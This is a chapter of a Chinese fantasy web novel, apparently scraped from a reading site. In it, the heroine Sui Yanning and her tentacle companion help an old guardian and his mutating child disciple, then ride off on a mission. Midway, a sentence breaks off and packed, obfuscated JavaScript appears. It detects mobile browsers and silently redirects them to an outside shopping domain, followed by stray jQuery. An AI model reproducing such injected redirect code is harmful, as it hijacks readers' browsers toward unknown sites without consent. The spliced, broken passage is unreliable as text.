文趣网 > 其他小说 > 神明坠落 > 147. 师父
    岁宴宁的目光落在那几根血管上,心头一紧。

    她马上就要化神了。

    金丹期变种还能用晶骸救命,一旦化神,就再没有回头路。

    那小女娃好像还保留着几分清醒,她从被子里钻出来,眨了眨眼睛,看见蹲在面前的张天笑,脸上绽开一个依赖的笑容。

    “师父……”

    她张开手臂,要往张天笑怀里扑。

    张天笑伸手将她抱起来,紧紧搂在怀里。

    他背对着岁宴宁,抱着怀中的女娃,肩膀微微颤抖。

    破庙里安静得只剩下穿堂风擦过窗棂的呜咽声。

    突然,张天笑转过身来,他抱着怀里的女娃,膝盖一弯,就要往下跪。

    “前辈!”岁宴宁一惊,连忙伸手去扶。

    她一手托住张天笑的胳膊,另一只手顺势握住小眠细细的手臂。

    异变的气息顺着接触的地方传来,滚烫滚烫的,像是有什么东西在那小小的身体里横冲直撞,拼命想要破开。

    张天笑抬起头,眼眶泛着红。

    岁宴宁这才发现,他似乎苍老了许多。

    原本还算精明的眼睛变得有些浑浊,脊背也佝偻了下去,脸上的褶子堆在一起,像是一下子被抽走了所有的精气神。

    他看着她,嘴唇哆嗦了几下,才颤抖着开口:

    “岁姑娘……求您救救小眠。”

    岁宴宁没有回答。

    张天笑牙一咬,又要往下跪。

    可扶在他手臂上的那只手纹丝不动,硬生生将他架在那里。

    张天笑只好又开口,声音里带着压抑不住的哽咽:“小眠是这批孩子中最小的一个……我也不知道她怎么会异变……她才那么小……她……”

    他说不下去了。

    喉咙里像是堵了什么东西,憋得他整个人都在发抖。

    他闭了闭眼,狠狠吸了口气,再睁开眼时,那双浑浊的老眼里竟透出几分决绝的清明。

    他猛地抬头,那个佝偻着腰的老头,这一刻把脊背挺得笔直。

    “岁姑娘,我知道我的要求有些强人所难。”他的声音沙哑,却掷地有声,“但若是你能救小眠。”

    “我愿意做任何事,不论生死。”

    他直视着岁宴宁,浑浊的眼珠里燃着一簇火。

    那是豁出一切的决绝,是一个走投无路的老人,能拿出的最后的东西。

    然后。

    “砰!”

    一根花花绿绿的拐杖砸上了岁宴宁的后脑勺。

    岁宴宁吃痛,手一松,捂着脑袋后退了好几步。

    她偏头瞥了一眼卷着拐杖的触手,祂正直挺挺地竖在那儿,一副“严格执行主人命令”的乖巧模样。

    岁宴宁小声抱怨:“你是不是砸得有点太用力了?我感觉我后脑勺鼓起了一个包。”

    触手晃了晃。

    “这次的饭没有你的份。”

    触手僵住了,整个粉色的身体都像是被雷劈了一样。

    片刻后,祂慢慢地、慢慢地蜷缩起来,尖端委委屈屈地耷拉下去,像个被冤枉的小孩。

    祂明明是个时刻严格执行主人命令的好触手,主人说了“见时机不对就给我来一下”,祂来了,还来得特别及时!特别用力!!特别负责!!!

    主人怎么能!呜呜呜!!!触手难过!

    岁宴宁看着祂那副模样,有些好笑。

    她伸手摸了摸它的祂,哄道:“逗你的,你是功臣,这次你分大半。”

    触手瞬间高兴了,卷着拐杖手舞足蹈。

    岁宴宁一偏头,默默躲过再次袭来的拐杖,看向张天笑怀里的女娃。

    这个孩子,不能再留在这里了。

    张天笑的视线从岁宴宁脸上移到她身旁那根欢天喜地的触手上。

    无主之地那一战,但凡看过影像的人都知道,这东西能吸收枯髓境本源的异变灵气,变种身上的那点异变灵气,对祂来说更是不在话下。

    但从刚才祂袭击主人的动作来看,很明显,岁姑娘并不能完全掌控这份力量。

    更何况。

    现在外面不知为何,都在传她是救世主,要她带领整个神谴之地消灭枯髓境,重新作为天道维持秩序。

    张天笑看着她。

    她侧着头,正在跟那根触手小声说着什么,嘴角还挂着一点无奈的笑。

    她的年龄,比自己救助的那些孩子大不了多少。

    她又何故要承受这么多。

    若是连他自己都要去逼她,那和外面那些人有什么区别?

    张天笑搂紧了怀中的女娃,后退一步。

    “师父?”

    怀里突然传来一声脆生生的喊叫。

    张天笑浑身一震。

    自从小眠异变后,就再也没有开口说过话,他以为是自己听错了,僵硬着脖子低下头。

    “师父?”

    小眠仰着脸看他,小小的手摸上他的脸。

    她摸到一手湿意,愣了愣,然后问:“师父,你怎么哭了?”

    张天笑张了张嘴,说不出话。

    小眠看了看他,又看了看一旁站着的陌生女子。

    她看了好一会儿,突然挣扎着要从张天笑怀里下来。

    一落地,她就小跑着冲向岁宴宁,抬起小短腿,一脚踹上她的小腿。

    “小眠!”张天笑一把拽住她。

    小眠挣了两下没挣动,憋红了脸,又怕又怒地瞪着岁宴宁。

    她的眼眶里蓄满了泪,却咬着嘴唇不肯让它掉下来。

    “是不是你欺负我师父!”她喊着,声音又尖又细,带着哭腔,“你个大坏人!我不会跟你走的!你出去!”

    她喊得嗓子都劈了,小小的身体抖得厉害,可还是梗着脖子挡在张天笑面前。

    岁宴宁低头看着这个只到自己膝盖高的小东西,脚下灵活地退开几步。

    还没等小眠反应过来,触手已经缠上她的腿,将她整个倒提起来。

    小眠惊呼一声,头朝下悬在半空,小脸涨得通红,拼命挣扎。

    另一根触手凑过来,尖端轻轻戳了戳她的胳肢窝。

    小眠浑身一僵,然后“噗”地笑出声。

    “哈哈哈哈别……别挠……哈哈哈哈……师父救命!”

    她笑得停不下来,在半空中扭来扭去,触手像是找到了什么好玩的玩具,挠得更起劲了。

    岁宴宁抱臂看着她,眉梢微挑:“你就这么对待你的救命恩人?”

    小眠笑得说不出话,一把抱住那根挠她的触手。

    触手被她抱住,僵了一下,便任由她抱着。

    小眠看向张天笑。

    张天笑眼眶还红着,微微点了点头。

    她又看向岁宴宁。

    半晌,她拍了拍腿上的触手,示意触手将她放下来。

    小眠一落地,立刻站直身体,然后“扑通”一声跪了下去,认认真真磕了个头。

    “多谢恩人救命之恩!”

    奶声奶气的声音,却一字一顿,说得格外认真。

    “等小眠长大了,定会报答恩人!”

    岁宴宁看着面前这个才三四岁的小女娃,一脸认真的模样,有些忍俊不禁。

    她蹲下身,伸手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843523|203127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把小眠拉起来,又拍了拍她双膝上沾的土,然后认真地看着她的眼睛:

    “好,有事需要你帮忙的话,我会来找你的。”

    小眠眨了眨眼,伸出右手,小拇指翘得高高的:“那拉钩!”

    岁宴宁笑着伸出小拇指,勾住她的。

    “拉钩上吊,一百年,不许变!”

    小眠念得认真,念完了还用力晃了晃两人勾在一起的手指,然后“啪”地一下,用大拇指盖了个章。

    “好了!”她心满意足地收回手,又扑进张天笑怀里。

    “前辈,小眠不能再待在这里了。”

    张天笑摸了摸小眠的头,点头:“你放心,我会将她带走,离开新叶城,一辈子不再回来。”

    “别的孩子我也都已经安顿好了,本来前几日就打算带小眠走的,但她突然异变,这才耽搁了些许时间。”

    岁宴宁点头:“那自然最好。”

    她顿了顿,拱手道:“那晚辈就先告辞了。”

    “等等。”张天笑叫住她,“你冒着这么大的风险来这,不会就是为了看看我这老头子是不是还活着吧?”

    岁宴宁笑了笑:“前辈身子骨还硬朗得很,可不要说这些不吉利的话。”

    张天笑出声来,那笑声里带着几分豁达:“那就借岁姑娘吉言了。”

    他低头看了一眼怀里的小眠,“既然小眠的恩情她要自己来报,那我这个做前辈的,受了你的吉言,也得给孩子做个表率。”

    岁宴宁看着他。

    那一瞬间,他站在那里,像是什么都不曾将他的脊背压弯,像是时间从未在他身上留下过痕迹。

    他还是那个守着破庙、护着一群孩子的老头,还是那个曾经守卫百姓的年轻的神使。

    岁宴宁冲他拱手,郑重地行了一礼。

    “既然如此,晚辈确实有一事相求。”

    新叶城往北三十里,有一处马厩。

    张天笑告诉她,新叶城可直通苍翠山脉,有一条近路,但只能骑马前往。

    店主看她那身打扮像是在看一个准备跑路的逃犯,岁宴宁付了双倍物资,店主才愿意将马匹租给她。

    那马通体漆黑,膘肥体壮,一看就是能跑长路的好脚力。

    她翻身上马,摸出一个干巴的馒头,叼在嘴里,一手攥着缰绳,一手点开光屏。

    顾京墨那边很快回了讯息。

    那家伙最终还是从沈栀那里讨了一个和她一样的通讯器,是个胸针的模样,整日别在衣襟前,生怕别人不知道这是沈栀亲手给他做的。

    她垂眸看着光屏上的字,心里默默盘算。

    前辈负责白塔镇,云隐千机负责匠石镇和旧誓镇,已经覆盖了神谴之地所有城镇。

    她要做的,是赶在世界崩坏之前,让八成以上的人追随她。

    重写天纲需要所有人的神魂在上面扣印。

    若是人人信仰一致,目标相同,那不过是一瞬间的事。

    可若是有人生出抗拒之心,人数一多,便是天大的麻烦。

    八成。

    只要保证八成以上的人愿意追随她,剩下的两成,强行扣印也来得及。

    光屏上又跳出一行字。

    顾京墨:已准备就绪,明日子时行动。

    岁宴宁的目光在那行字上停了片刻。

    顾京墨已经和云犀汇合了。

    她需要加快时间了。

    岁宴宁将嘴里叼着的馒头三两下嚼完咽下去,收起光屏,双腿一夹马腹。

    “驾!”

    黑马长嘶一声,四蹄腾空,朝着苍翠山脉的方向疾驰而去。